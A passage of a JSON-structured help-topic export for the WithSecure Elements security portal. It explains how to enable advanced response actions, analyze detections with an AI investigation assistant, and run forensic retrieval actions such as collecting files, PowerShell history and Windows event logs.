"step.step_closed_resolutions_000040_90A2", "step.step_closed_resolutions_000042_79BD", "step.step_closed_resolutions_000044_F5BB", "step.step_closed_resolutions_000046_8E9E" ] }, "content.note_closed_resolutions_000048_94D5", "content.title_closed_resolutions_00004A_1F47", "content.p_closed_resolutions_00004B_7BD3", { "steps.ul_closed_resolutions_00004C_80A4": [ "step.step_closed_resolutions_00004D_FE81", "step.step_closed_resolutions_00004F_4BAC", "step.step_closed_resolutions_000051_F5D4", "step.step_closed_resolutions_000054_6924" ] }, "content.note_closed_resolutions_000057_9461" ], "related": [ "auto_false_positive-latest-en", "task_suppression_rules-latest-en" ] }, "taking_advanced_responses_into_use-latest-en.json": { "title": "title_taking_advanced_response_0296C", "title_taking_advanced_response_0296C": "Turn on advanced response actions", "shortdesc": "shortdesc_taking_advanced_response_092C2", "shortdesc_taking_advanced_response_092C2": "Turns on advanced response actions, which add automated remediation options to detections. ", "content.p_taking_advanced_response_0BB94": "Advanced response actions add automated remediation options to detections for the profiles where you enable them, and require outbound access to specific AWS endpoints for your region.", "substep.substep_taking_advanced_response_0625A": "In the WithSecure Elements portal, go to Profiles.", "substep.substep_taking_advanced_response_0C84E": "Select one or more profiles in which you want to turn on advanced responses.", "substep.substep_taking_advanced_response_0F53F": "In the Profile page, select General settings.", "substep.substep_taking_advanced_response_04222": "Under Integrations, turn on Advanced response.", "substep.substep_taking_advanced_response_060A0": "Select Save and Publish.", "step.step_taking_advanced_response_07EA0": "Do the following to turn on advanced responses:", "subchoice.choice_taking_advanced_response_0429B": "ac3ujg1ortm4c-ats.iot.eu-west-1.amazonaws.com (port 443, Windows 7 and 2012: port 8883)", "subchoice.choice_taking_advanced_response_0D5B7": "c3hquxgihnj763.credentials.iot.eu-west-1.amazonaws.com (port 443)", "subchoice.choice_taking_advanced_response_07007": "ew1-famp-prd-system-transfer.s3.eu-west-1.amazonaws.com (port 443)", "content.p_taking_advanced_response_0E30E": "Advanced response requires access to certain Amazon Web Services domains. EMEA:", "subchoice.choice_taking_advanced_response_07EED": "ac3ujg1ortm4c-ats.iot.us-east-1.amazonaws.com (port 443, Windows 7 and 2012: port 8883)", "subchoice.choice_taking_advanced_response_0988D": "c3hquxgihnj763.credentials.iot.us-east-1.amazonaws.com (port 443)", "subchoice.choice_taking_advanced_response_06CD1": "ue1-famp-prd-system-transfer.s3.us-east-1.amazonaws.com", "content.p_taking_advanced_response_0351B": "US:", "subchoice.choice_taking_advanced_response_0F3BF": "ac3ujg1ortm4c-ats.iot.ap-northeast-1.amazonaws.com (port 443, Windows 7 and 2012: port 8883)", "subchoice.choice_taking_advanced_response_02932": "c3hquxgihnj763.credentials.iot.ap-northeast-1.amazonaws.com (port 443)", "subchoice.choice_taking_advanced_response_0845C": "ane1-famp-prd-system-transfer.s3.ap-northeast-1.amazonaws.com", "content.p_taking_advanced_response_07A4D": "APAC:", "step.step_taking_advanced_response_09E6A": "Make sure that the environment can access the advanced-response URLs for your region:", "desc": [ "content.p_taking_advanced_response_0BB94", { "steps.steps_taking_advanced_response_0DA44": [ "step.step_taking_advanced_response_07EA0", { "substeps.substepsalpha_takingalpha_advancedalpha_responsealpha_00274": [ "substep.substep_taking_advanced_response_0625A", "substep.substep_taking_advanced_response_0C84E", "substep.substep_taking_advanced_response_0F53F", "substep.substep_taking_advanced_response_04222", "substep.substep_taking_advanced_response_060A0" ] }, "step.step_taking_advanced_response_09E6A", "content.p_taking_advanced_response_0E30E", { "subchoices.ul_taking_advanced_response_0A1F9": [ "subchoice.choice_taking_advanced_response_0429B", "subchoice.choice_taking_advanced_response_0D5B7", "subchoice.choice_taking_advanced_response_07007" ] }, "content.p_taking_advanced_response_0351B", { "subchoices.ul_taking_advanced_response_0E2DC": [ "subchoice.choice_taking_advanced_response_07EED", "subchoice.choice_taking_advanced_response_0988D", "subchoice.choice_taking_advanced_response_06CD1" ] }, "content.p_taking_advanced_response_07A4D", { "subchoices.ul_taking_advanced_response_0A6B1": [ "subchoice.choice_taking_advanced_response_0F3BF", "subchoice.choice_taking_advanced_response_02932", "subchoice.choice_taking_advanced_response_0845C" ] } ] } ], "related": [ "responseactions-latest-en" ] }, "concept_qff_xwz_lcc-latest-en.json": { "title": "title_investigation_000001_ECB53F73", "title_investigation_000001_ECB53F73": "Analyze a detection with Investigation Assistant", "shortdesc": "shortdesc_investigation_000002_2EE68A46", "shortdesc_investigation_000002_2EE68A46": "Investigation Assistant is a part of WithSecure Luminen. It provides a quick and clear overview of Broad Context Detections, saving time and effort in understanding complex security events.", "content.p_investigation_000011_AC60A282": "Investigation Assistant offers a quick overview and summary of a Broad Context Detection (BCD). You can use this summary as a starting point for further investigation as it highlights key details and significant events that have occurred during the incident. It also includes additional context that can aid in a deeper understanding of the threats.", "content.p_investigation_000018_04006322": "The Broad Context Detections view contains all broad context detections that have been found.", "step.step_investigation_000013_68B4043C": "Select Events > Broad Context Detections", "step.step_investigation_00001A_FCF9FF2F": "Select the broad context detection that you want to investigate from the list.", "content.p_investigation_00001F_BDF4C58D": "Each detection has a risk level score that shows the estimated effect of the detection in the customer environment.", "content.p_investigation_000021_DBBA88A9": "Luminen analyzes the detection and displays the executive summary.", "step.step_investigation_00001C_47B2C42D": "Select Analyze with Luminen.", "content.note_investigation_000024_A34991AF": "Note: Investigation Assistant summary is AI generated and should be treated with caution. Further investigation and professional consultation may be required to fully address all threats.", "desc": [ "content.p_investigation_000011_AC60A282", { "steps.steps_investigation_000012_69DA533D": [ "step.step_investigation_000013_68B4043C", "content.p_investigation_000018_04006322", "step.step_investigation_00001A_FCF9FF2F", "step.step_investigation_00001C_47B2C42D", "content.p_investigation_00001F_BDF4C58D", "content.p_investigation_000021_DBBA88A9" ] }, "content.note_investigation_000024_A34991AF" ] }, "responseactions-latest-en.json": { "title": "title_creating_response_action_0EC70", "title_creating_response_action_0EC70": "Create a response action", "shortdesc": "shortdesc_creating_response_action_04BBC", "shortdesc_creating_response_action_04BBC": "Creates a response action to retrieve forensic artefacts or contain a threat on one or more endpoints. ", "content.p_creating_response_action_0A3B5": "Response actions work only with the WithSecure Endpoint Response and Detection standalone and the WithSecure Elements Endpoint Protection products.", "content.p_creating_response_action_004F0": "With response actions, you can retrieve specific forensic artefacts from endpoints to gather more information and provide further context to an investigation surrounding suspicious events that have been detected. You can also slow down or stop an attacker from achieving their objectives and by containing threats as they are being discovered and blocking them immediately. This can be done to multiple endpoints at the same time if necessary.", "content.p_creating_response_action_05BE4": "The Response view opens.", "step.step_creating_response_action_0956A": "Go to the Events > Response view.", "content.p_creating_response_action_0438D": "The New response action wizard opens.", "step.step_creating_response_action_0FCD7": "Select Create new.", "step.step_creating_response_action_0C001": "On the Devices view, select one or more devices for which you want to create a response action.", "content.p_creating_response_action_03877": "The Actions view opens.", "step.step_creating_response_action_0A943": "Select Next.", "content.p_creating_response_action_0E7B4": "The Parameters view opens.", "step.step_creating_response_action_04C2C": "Select one or more actions, and select Next.", "content.p_creating_response_action_0EFF9": "The Summary view opens.", "step.step_creating_response_action_093D2": "Select or enter the required parameters, and select Next.", "content.p_creating_response_action_0D4C8": "", "content.note_creating_response_action_00441": "Note: You can also add a comment about the new response action.", "step.step_creating_response_action_031DD": "Review the details, and select Create.", "content.note_creating_response_action_06498": "Note: The response actions that are defined here remain in the queue until they are successfully executed. They will time out after 72 hours, for example, if a target device is turned off.", "content.p_creating_response_action_07C96": "The new response action is created and is shown in the Response view.", "desc": [ "content.p_creating_response_action_0A3B5", "content.p_creating_response_action_004F0", { "steps.steps_creating_response_action_028DC": [ "step.step_creating_response_action_0956A", "content.p_creating_response_action_05BE4", "step.step_creating_response_action_0FCD7", "content.p_creating_response_action_0438D", "step.step_creating_response_action_0C001", "step.step_creating_response_action_0A943", "content.p_creating_response_action_03877", "step.step_creating_response_action_04C2C", "content.p_creating_response_action_0E7B4", "step.step_creating_response_action_093D2", "content.p_creating_response_action_0EFF9", "step.step_creating_response_action_031DD", "content.p_creating_response_action_0D4C8", "content.note_creating_response_action_00441" ] }, "content.note_creating_response_action_06498", "content.p_creating_response_action_07C96" ] }, "investigative_jobs-latest-en.json": { "title": "title_investigative_jobs_000001_8FED", "title_investigative_jobs_000001_8FED": "Investigative actions", "shortdesc": "shortdesc_investigative_jobs_000002_C104", "shortdesc_investigative_jobs_000002_C104": "Standard response actions that retrieve forensic artefacts from an endpoint when starting an investigation. ", "content.p_investigative_jobs_000010_E0B9": "The following investigative actions are available. Select an action for detailed instructions and parameters.", "content.title_investigative_jobs_000011_4D34": "Investigative actions", "cell.entry_investigative_jobs_000018_35F3": "Action", "cell.entry_investigative_jobs_000019_E994": "Platform", "cell.entry_investigative_jobs_00001A_BD2E": "Description", "cell.entry_investigative_jobs_00001D_5949": "Retrieve files", "cell.entry_investigative_jobs_00001E_2B1A": "Win, Lnx, Mac", "cell.entry_investigative_jobs_00001F_BC28": "Retrieves files or folders from an endpoint.", "cell.entry_investigative_jobs_000021_B3D8": "Retrieve PowerShell history", "cell.entry_investigative_jobs_000022_08B0": "Win", "cell.entry_investigative_jobs_000023_4156": "Retrieves the PowerShell history of a user.", "cell.entry_investigative_jobs_000025_EBE9": "Retrieve event log entries", "cell.entry_investigative_jobs_000026_FD06": "Win", "cell.entry_investigative_jobs_000027_6C86": "Retrieves Windows event log entries.", "cell.entry_investigative_jobs_000029_C96D": "Retrieve event log files", "cell.entry_investigative_jobs_00002A_342A": "Win", "cell.entry_investigative_jobs_00002B_6882": "Retrieves Windows event log files.", "cell.entry_investigative_jobs_00002D_ACBB": "Retrieve event log tracing entries", "cell.entry_investigative_jobs_00002E_AC8F": "Win", "cell.entry_investigative_jobs_00002F_1530": "Retrieves .etl event log tracing files that contain records of system activities.", "cell.entry_investigative_jobs_000031_0AA0": "Retrieve anti-virus logs", "cell.entry_investigative_jobs_000032_D07F": "Win", "cell.entry_investigative_jobs_000033_989F": "Retrieves anti-virus log files.", "cell.entry_investigative_jobs_000035_94C6": "Retrieve browser artefacts", "cell.entry_investigative_jobs_000036_4FBD": "Win", "cell.entry_investigative_jobs_000037_612E": "Retrieves the browser history from the device.", "cell.entry_investigative_jobs_000039_A644": "Retrieve jumplist files", "cell.entry_investigative_jobs_00003A_BEE4": "Win", "cell.entry_investigative_jobs_00003B_9504": "Retrieves Jump Lists from the AutomaticDestinations and CustomDestinations folders in the user's recent files folder.", "cell.entry_investigative_jobs_00003D_DA85": "Retrieve MFT", "cell.entry_investigative_jobs_00003E_0D22": "Win", "cell.entry_investigative_jobs_00003F_5F1C": "Retrieves the Master File Table (MFT) of a drive.", "cell.entry_investigative_jobs_000041_F909": "Retrieve RDP cache files", "cell.entry_investigative_jobs_000042_7E8D": "Win", "cell.entry_investigative_jobs_000043_D26C": "Retrieves the Remote Desktop Protocol (RDP) cache files.", "cell.entry_investigative_jobs_000045_0562": "Retrieve registry hives", "cell.entry_investigative_jobs_000046_91C1": "Win", "cell.entry_investigative_jobs_000047_DB37": "Retrieves registry hives.", "cell.entry_investigative_jobs_000049_305B": "Retrieve System Resource Usage Monitor database (Srumdb)", "cell.entry_investigative_jobs_00004A_80D5": "Win", "cell.entry_investigative_jobs_00004B_92CD": "Retrieves the SRUDB.dat file from the Windows System32\\sru folder.", "cell.entry_investigative_jobs_00004D_FBF3": "Map registry", "cell.entry_investigative_jobs_00004E_20D5": "Win", "cell.entry_investigative_jobs_00004F_74AA": "Retrieves a listing of all registry keys under the given path.", "cell.entry_investigative_jobs_000051_80B0": "Retrieve MBR", "cell.entry_investigative_jobs_000052_5594": "Win", "cell.entry_investigative_jobs_000053_4018": "Retrieves the Master Boot Record (MBR) of a drive.", "cell.entry_investigative_jobs_000055_4D6C": "Retrieve Amcache", "cell.entry_investigative_jobs_000056_6D6D": "Win", "cell.entry_investigative_jobs_000057_BEF6": "Retrieves the Application Compatibility Cache file from the device.", "cell.entry_investigative_jobs_000059_764E": "Retrieve Prefetch", "cell.entry_investigative_jobs_00005A_EE1D": "Win", "cell.entry_investigative_jobs_00005B_6EA7": "Retrieves the Prefetch folder from the device.", "cell.entry_investigative_jobs_00005D_0CAB": "Retrieve Recently Accessed", "cell.entry_investigative_jobs_00005E_4ED4": "Win", "cell.entry_investigative_jobs_00005F_E989": "Retrieves information about recently accessed files from the device.", "cell.entry_investigative_jobs_000061_3149": "Map file system", "cell.entry_investigative_jobs_000062_234C": "Win, Lnx, Mac", "cell.entry_investigative_jobs_000063_7EF2": "Retrieves a listing of all files and folders under the given path.", "cell.entry_investigative_jobs_000065_59D6": "Netstat", "cell.entry_investigative_jobs_000066_BB6A": "Win, Lnx, Mac", "cell.entry_investigative_jobs_000067_D2A4": "Retrieves network connections, routing tables, interface statistics, and associated process information.", "cell.entry_investigative_jobs_000069_C551": "Enumerate processes", "cell.entry_investigative_jobs_00006A_3A77": "Win, Lnx, Mac", "cell.entry_investigative_jobs_00006B_4DF2": "Lists running processes.", "cell.entry_investigative_jobs_00006D_87AD": "Enumerate scheduled tasks", "cell.entry_investigative_jobs_00006E_E416": "Win", "cell.entry_investigative_jobs_00006F_2245": "Lists Windows scheduled tasks.", "cell.entry_investigative_jobs_000071_36C8": "Enumerate services", "cell.entry_investigative_jobs_000072_2C79": "Win", "cell.entry_investigative_jobs_000073_1194": "Lists installed services.", "cell.entry_investigative_jobs_000075_5DD1": "Enumerate WMI persistence", "cell.entry_investigative_jobs_000076_5A4A": "Win", "cell.entry_investigative_jobs_000077_3F07": "Returns a listing of Windows Management Instrumentation (WMI) persistence objects.", "cell.entry_investigative_jobs_000079_CBEE": "Process memory dump", "cell.entry_investigative_jobs_00007A_B76E": "Win, Lnx", "cell.entry_investigative_jobs_00007B_C606": "Retrieves memory dumps of one or more processes.", "cell.entry_investigative_jobs_00007D_4546": "Full memory dump", "cell.entry_investigative_jobs_00007E_FB4C": "Win, Lnx", "cell.entry_investigative_jobs_00007F_A67E": "Uploads a full memory dump.", "cell.entry_investigative_jobs_000081_9B30": "Test connections", "cell.entry_investigative_jobs_000082_5F71": "Win", "cell.entry_investigative_jobs_000083_8023": "Tests whether a set of host and port combinations can be reached from an endpoint.", "desc": [ "content.p_investigative_jobs_000010_E0B9", "content.title_investigative_jobs_000011_4D34", { "table.table_investigative-actions": [ { "thead.thead_investigative_jobs_000016_F501": [ "cell.entry_investigative_jobs_000018_35F3", "cell.entry_investigative_jobs_000019_E994", "cell.entry_investigative_jobs_00001A_BD2E" ] }, { "row.row_investigative_jobs_00001C_86C3": [ "cell.entry_investigative_jobs_00001D_5949", "cell.entry_investigative_jobs_00001E_2B1A", "cell.entry_investigative_jobs_00001F_BC28" ] }, { "row.row_investigative_jobs_000020_1E51": [ "cell.entry_investigative_jobs_000021_B3D8", "cell.entry_investigative_jobs_000022_08B0", "cell.entry_investigative_jobs_000023_4156" ] }, { "row.row_investigative_jobs_000024_2AB6": [ "cell.entry_investigative_jobs_000025_EBE9", "cell.entry_investigative_jobs_000026_FD06", "cell.entry_investigative_jobs_000027_6C86" ] }, { "row.row_investigative_jobs_000028_C1D7": [ "cell.entry_investigative_jobs_000029_C96D", "cell.entry_investigative_jobs_00002A_342A", "cell.entry_investigative_jobs_00002B_6882" ] }, { "row.row_investigative_jobs_00002C_893A": [ "cell.entry_investigative_jobs_00002D_ACBB", "cell.entry_investigative_jobs_00002E_AC8F", "cell.entry_investigative_jobs_00002F_1530" ] }, { "row.row_investigative_jobs_000030_CC01": [ "cell.entry_investigative_jobs_000031_0AA0", "cell.entry_investigative_jobs_000032_D07F", "cell.entry_investigative_jobs_000033_989F" ] }, { "row.row_investigative_jobs_000034_33AC": [ "cell.entry_investigative_jobs_000035_94C6", "cell.entry_investigative_jobs_000036_4FBD", "cell.entry_investigative_jobs_000037_612E" ] }, { "row.row_investigative_jobs_000038_D5D0": [ "cell.entry_investigative_jobs_000039_A644", "cell.entry_investigative_jobs_00003A_BEE4", "cell.entry_investigative_jobs_00003B_9504" ] }, { "row.row_investigative_jobs_00003C_D9E7": [ "cell.entry_investigative_jobs_00003D_DA85", "cell.entry_investigative_jobs_00003E_0D22", "cell.entry_investigative_jobs_00003F_5F1C" ] }, { "row.row_investigative_jobs_000040_17EF": [ "cell.entry_investigative_jobs_000041_F909", "cell.entry_investigative_jobs_000042_7E8D", "cell.entry_investigative_jobs_000043_D26C" ] }, { "row.row_investigative_jobs_000044_953F": [ "cell.entry_investigative_jobs_000045_0562", "cell.entry_investigative_jobs_000046_91C1", "cell.entry_investigative_jobs_000047_DB37" ] }, { "row.row_investigative_jobs_000048_C95E": [ "cell.entry_investigative_jobs_000049_305B", "cell.entry_investigative_jobs_00004A_80D5", "cell.entry_investigative_jobs_00004B_92CD" ] }, { "row.row_investigative_jobs_00004C_310E": [ "cell.entry_investigative_jobs_00004D_FBF3", "cell.entry_investigative_jobs_00004E_20D5", "cell.entry_investigative_jobs_00004F_74AA" ] }, { "row.row_investigative_jobs_000050_EC07": [ "cell.entry_investigative_jobs_000051_80B0", "cell.entry_investigative_jobs_000052_5594", "cell.entry_investigative_jobs_000053_4018" ] }, { "row.row_investigative_jobs_000054_A736": [ "cell.entry_investigative_jobs_000055_4D6C", "cell.entry_investigative_jobs_000056_6D6D", "cell.entry_investigative_jobs_000057_BEF6" ] }, { "row.row_investigative_jobs_000058_AB3F": [ "cell.entry_investigative_jobs_000059_764E", "cell.entry_investigative_jobs_00005A_EE1D", "cell.entry_investigative_jobs_00005B_6EA7" ] }, { "row.row_investigative_jobs_00005C_38D5": [ "cell.entry_investigative_jobs_00005D_0CAB", "cell.entry_investigative_jobs_00005E_4ED4", "cell.entry_investigative_jobs_00005F_E989" ] }, { "row.row_investigative_jobs_000060_D95A": [ "cell.entry_investigative_jobs_000061_3149", "cell.entry_investigative_jobs_000062_234C", "cell.entry_investigative_jobs_000063_7EF2" ] }, { "row.row_investigative_jobs_000064_16A5": [ "cell.entry_investigative_jobs_000065_59D6", "cell.entry_investigative_jobs_000066_BB6A", "cell.entry_investigative_jobs_000067_D2A4" ] }, { "row.row_investigative_jobs_000068_09F5": [ "cell.entry_investigative_jobs_000069_C551", "cell.entry_investigative_jobs_00006A_3A77", "cell.entry_investigative_jobs_00006B_4DF2" ] }, { "row.row_investigative_jobs_00006C_A45F": [ "cell.entry_investigative_jobs_00006D_87AD", "cell.entry_investigative_jobs_00006E_E416", "cell.entry_investigative_jobs_00006F_2245" ] }, { "row.row_investigative_jobs_000070_208C": [ "cell.entry_investigative_jobs_000071_36C8", "cell.entry_investigative_jobs_000072_2C79", "cell.entry_investigative_jobs_000073_1194" ] }, { "row.row_investigative_jobs_000074_91E7": [ "cell.entry_investigative_jobs_000075_5DD1", "cell.entry_investigative_jobs_000076_5A4A", "cell.entry_investigative_jobs_000077_3F07" ] }, { "row.row_investigative_jobs_000078_BEA5": [ "cell.entry_investigative_jobs_000079_CBEE", "cell.entry_investigative_jobs_00007A_B76E", "cell.entry_investigative_jobs_00007B_C606" ] }, { "row.row_investigative_jobs_00007C_FEF1": [ "cell.entry_investigative_jobs_00007D_4546", "cell.entry_investigative_jobs_00007E_FB4C", "cell.entry_investigative_jobs_00007F_A67E" ] }, { "row.row_investigative_jobs_000080_8F3A": [ "cell.entry_investigative_jobs_000081_9B30", "cell.entry_investigative_jobs_000082_5F71", "cell.entry_investigative_jobs_000083_8023" ] } ] } ] }, "response_retrieve_files-latest-en.json": { "title": "title_response_retrieve_files_0096FF", "title_response_retrieve_files_0096FF": "Retrieve files (Win, Lnx, Mac)", "shortdesc": "shortdesc_response_retrieve_files_00F6B4", "shortdesc_response_retrieve_files_00F6B4": "Describes how to retrieve files and folders from an endpoint for further analysis. ", "content.p_response_retrieve_files_009744": "The action retrieves specific files or folders from an endpoint. Use this action when a malicious or suspicious file has been detected on a host and you want to further analyze the file.", "content.p_response_retrieve_files_00D4D0": "This action results in an inactive archive, which is a password-protected zip file that uses the password \"inactive\" to prevent an accidental opening of malicious files.", "content.pt_response_retrieve_files_0082F7": "Format", "content.pd_response_retrieve_files_00CDE4": "Select either Basic or Regex match format for the path.", "content.pt_response_retrieve_files_007C3B": "Path ", "content.pd_response_retrieve_files_00F01D": "Enter the path where you want to retrieve files.", "content.pt_response_retrieve_files_000F25": "Path structure ", "content.pd_response_retrieve_files_00A5C1": "Select either All, Sub, or None.", "choice.choice_response_retrieve_files_001434": "All preserves the folder structure from the drive letter and shows the files exactly how they appear like on the disk. It can, however, be time consuming to navigate through.", "choice.choice_response_retrieve_files_00E5D1": "Sub preserves the folder structure from the highest common folder, keeping the files all together as far as possible. This can be useful when investigating a particular folder.", "choice.choice_response_retrieve_files_00EF3E": "None disregards the folder structure hierarchy and the files are all together. If multiple files have the same name in different folders, only one of them is included in the resulting ZIP file. In these cases, conflicts.txt file is included in the ZIP file to indicate this.", "content.title_response_retrieve_files_00D693": "Regex examples", "content.p_response_retrieve_files_00B213": "Searching for a file (temp.txt) when you know the drive letter:", "content.p_response_retrieve_files_00B479": "c:\\\\(.*\\\\)?temp\\.txt", "content.p_response_retrieve_files_009507": "Searching for a file (temp.txt) across all drives:", "content.p_response_retrieve_files_006923": ".*\\\\temp\\.txt", "step.step_response_retrieve_files_0098D5": "Searching for a file where the file path is unknown.", "content.p_response_retrieve_files_00B164": "Searching for any executable in c:\\path where the file name is precisely 4 characters in length:", "content.p_response_retrieve_files_00B7CE": "c:\\\\path\\\\.{4}\\.exe", "content.p_response_retrieve_files_00F76E": "Searching for any executable with a file name between 4 and 6 characters in length:", "content.p_response_retrieve_files_006D15": "c:\\\\path\\\\.{4,6}\\.exe", "step.step_response_retrieve_files_006551": "Searching for files that match a fixed-length random string - for example, heof.exe, jmeb.exe, nekj.exe.", "content.p_response_retrieve_files_00D4B4": "Searching for files or folders anywhere in c: that end with either bat or xls:", "content.p_response_retrieve_files_005158": "c:\\\\.*\\.(bat|xls)", "step.step_response_retrieve_files_0062C4": "Searching for files that end with a particular extension – for example, *.ps1, *.xsl.", "content.p_response_retrieve_files_00307A": "For further help, use a regular expression tester tool.", "content.title_response_retrieve_files_0038F1": "Path structure examples", "content.p_response_retrieve_files_004550": "If an endpoint has the following files:", "content.p_response_retrieve_files_006476": "c:\\user1\\work\\text-a.txt
c:\\user1\\work\\text-b.txt
c:\\user1\\work\\sales\\text-c.txt", "content.p_response_retrieve_files_00816F": "To download the files from the endpoint, enter the regex:", "content.p_response_retrieve_files_00360B": "c:\\\\user1\\\\work\\\\.*", "content.p_response_retrieve_files_003D53": "The structure of the resulting ZIP file for each path structure type:", "content.p_response_retrieve_files_001CDB": "contents/c/user1/work/text-a.txt
contents/c/user1/work/text-b.txt
contents/c/user1/work/sales/text-c.txt", "step.step_response_retrieve_files_00EE72": "All", "content.p_response_retrieve_files_005760": "contents/text-a.txt
contents/text-b.txt
contents/sales/text-c.txt", "step.step_response_retrieve_files_00AB4A": "Sub", "content.p_response_retrieve_files_001059": "contents/text-a.txt
contents/text-b.txt
contents/text-c.txt", "step.step_response_retrieve_files_009709": "None", "desc": [ "content.p_response_retrieve_files_009744", "content.p_response_retrieve_files_00D4D0", { "parml.parml_response_retrieve_files_00B456": [ { "plentry.plentry_response_retrieve_files_000EF4": [ "content.pt_response_retrieve_files_0082F7", "content.pd_response_retrieve_files_00CDE4" ] }, { "plentry.plentry_response_retrieve_files_00D5D1": [ "content.pt_response_retrieve_files_007C3B", "content.pd_response_retrieve_files_00F01D" ] }, { "plentry.plentry_response_retrieve_files_0036F3": [ "content.pt_response_retrieve_files_000F25", "content.pd_response_retrieve_files_00A5C1", { "choices.ul_response_retrieve_files_008189": [ "choice.choice_response_retrieve_files_001434", "choice.choice_response_retrieve_files_00E5D1", "choice.choice_response_retrieve_files_00EF3E" ] } ] } ] }, "content.title_response_retrieve_files_00D693", { "steps.ol_response_retrieve_files_00784A": [ "step.step_response_retrieve_files_0098D5", "content.p_response_retrieve_files_00B213", "content.p_response_retrieve_files_00B479", "content.p_response_retrieve_files_009507", "content.p_response_retrieve_files_006923", "step.step_response_retrieve_files_006551", "content.p_response_retrieve_files_00B164", "content.p_response_retrieve_files_00B7CE", "content.p_response_retrieve_files_00F76E", "content.p_response_retrieve_files_006D15", "step.step_response_retrieve_files_0062C4", "content.p_response_retrieve_files_00D4B4", "content.p_response_retrieve_files_005158" ] }, "content.p_response_retrieve_files_00307A", "content.title_response_retrieve_files_0038F1", "content.p_response_retrieve_files_004550", "content.p_response_retrieve_files_006476", "content.p_response_retrieve_files_00816F", "content.p_response_retrieve_files_00360B", "content.p_response_retrieve_files_003D53", { "steps.ul_response_retrieve_files_006030": [ "step.step_response_retrieve_files_00EE72", "content.p_response_retrieve_files_001CDB", "step.step_response_retrieve_files_00AB4A", "content.p_response_retrieve_files_005760", "step.step_response_retrieve_files_009709", "content.p_response_retrieve_files_001059" ] } ] }, "response_retrieve_powershell_history-latest-en.json": { "title": "title_response_retrieve_powers_0458C", "title_response_retrieve_powers_0458C": "Retrieve PowerShell history (Win)", "shortdesc": "shortdesc_response_retrieve_powers_08856", "shortdesc_response_retrieve_powers_08856": "Retrieves the PowerShell history of a user. ", "content.p_response_retrieve_powers_0D7D2": "PowerShell is one of the most commonly used tools by attackers to compromise a Windows host in various attacks, such as exploitation, enumeration, and lateral movement. Many attacks are automated with tools, but sometimes the attacker may issue manual commands to gather information about the environment to push their attack forward.", "content.p_response_retrieve_powers_0269B": "Use this action to retrieve the PowerShell history file that contains all commands that have been manually issued on a PowerShell console and stored into a history file.", "content.pt_response_retrieve_powers_084E0": "Profile ", "content.pd_response_retrieve_powers_0F166": "Select the user of the PowerShell history file to capture. If you do not select any user, the profile of the user who is currently logged in is used by default.", "content.title_response_retrieve_powers_0367C": "Parameter example", "content.p_response_retrieve_powers_0B13C": "Profile: john", "content.p_response_retrieve_powers_00CB8": "This retrieves the content of PowerShell history for user \"john\" in a zip package including the full directory path to the history file.", "desc": [ "content.p_response_retrieve_powers_0D7D2", "content.p_response_retrieve_powers_0269B", { "parml.parml_response_retrieve_powers_0794A": [ { "plentry.plentry_response_retrieve_powers_01A55": [ "content.pt_response_retrieve_powers_084E0", "content.pd_response_retrieve_powers_0F166" ] } ] }, "content.title_response_retrieve_powers_0367C", "content.p_response_retrieve_powers_0B13C", "content.p_response_retrieve_powers_00CB8" ] }, "response_retrieve_event_log_entries-latest-en.json": { "title": "title_response_retrieve_event__02E89", "title_response_retrieve_event__02E89": "Retrieve event log entries (Win)", "shortdesc": "shortdesc_response_retrieve_event__03ACB", "shortdesc_response_retrieve_event__03ACB": "Retrieves Windows event log entries. ", "content.p_response_retrieve_event__002F4": "The action captures Windows event logs entries from the endpoint in the jsonl format. Logs can show when an attacker gained a foothold on the endpoint, how the attack has evolved, what tools and techniques they have used, and many other details. This information is useful when tracing the path of an attack, finding ways to stop it, and to prevent the attack from happening again.", "content.pt_response_retrieve_event__05967": "Event Ids ", "content.pd_response_retrieve_event__0A8CB": "Add the Windows event IDs of all the events whose logs you want to retrieve, separated by comma.
", "content.pd_response_retrieve_event__0F4DE": "For example, to log all successful logon events, add 4624.", "content.pt_response_retrieve_event__0EA9D": "Providers ", "content.pd_response_retrieve_event__02319": "Enter log provider names.", "content.note_response_retrieve_event__0744E": "Note: Log provider names are case sensitive.
", "content.p_response_retrieve_event__0F7E8": "", "content.pd_response_retrieve_event__048AE": "For example, enter Microsoft-Windows-Security-Auditing that creates logon events to the log.", "content.pt_response_retrieve_event__0FB3B": "Log names ", "content.pd_response_retrieve_event__019CB": "Enter log names, also known as channels in Windows Event Viewer.
", "content.pd_response_retrieve_event__0AFFA": "For example, logon events are logged to the Security channel.", "content.pt_response_retrieve_event__07D20": "Start timestamp ", "content.pd_response_retrieve_event__0B17F": "Select the start date for the events that you want to retrieve.", "content.pt_response_retrieve_event__01FF2": "End timestamp ", "content.pd_response_retrieve_event__0CA1D": "Select the end date for the events that you want to retrieve.", "desc": [ "content.p_response_retrieve_event__002F4", { "parml.parml_response_retrieve_event__0293C": [ { "plentry.plentry_response_retrieve_event__0A79B": [ "content.pt_response_retrieve_event__05967", "content.pd_response_retrieve_event__0A8CB", "content.pd_response_retrieve_event__0F4DE" ] }, { "plentry.plentry_response_retrieve_event__02A00": [ "content.pt_response_retrieve_event__0EA9D", "content.pd_response_retrieve_event__02319", "content.note_response_retrieve_event__0744E", "content.p_response_retrieve_event__0F7E8", "content.pd_response_retrieve_event__048AE" ] }, { "plentry.plentry_response_retrieve_event__00369": [ "content.pt_response_retrieve_event__0FB3B", "content.pd_response_retrieve_event__019CB", "content.pd_response_retrieve_event__0AFFA" ] }, { "plentry.plentry_response_retrieve_event__02E2C": [ "content.pt_response_retrieve_event__07D20", "content.pd_response_retrieve_event__0B17F" ] }, { "plentry.plentry_response_retrieve_event__076CD": [ "content.pt_response_retrieve_event__01FF2", "content.pd_response_retrieve_event__0CA1D" ] } ] } ] }, "response_retrieve_event_log_files-latest-en.json": { "title": "title_response_retrieve_event__043CD", "title_response_retrieve_event__043CD": "Retrieve event log files (Win)", "shortdesc": "shortdesc_response_retrieve_event__00FF5", "shortdesc_response_retrieve_event__00FF5": "Retrieves Windows event log files. ", "content.p_response_retrieve_event__0AD14": "The action captures all Windows event logs from the endpoint in the .evtx format. Logs can show when an attacker gained a foothold on the endpoint, how the attack has evolved, what tools and techniques they have used, and many other details. This information is useful when tracing the path of an attack, finding ways to stop it, and to prevent the attack from happening again.", "desc": [ "content.p_response_retrieve_event__0AD14" ] }, "response_retrieve_event_log_tracing-latest-en.json": { "title": "title_response_retrieve_event__02F75", "title_response_retrieve_event__02F75": "Retrieve event log tracing entries (Win)", "shortdesc": "shortdesc_response_retrieve_event__084C6", "shortdesc_response_retrieve_event__084C6": "Retrieves the .etl event log tracing files that contain records of system activities. ", "content.p_response_retrieve_event__0704B": "Event log tracing entries are records of 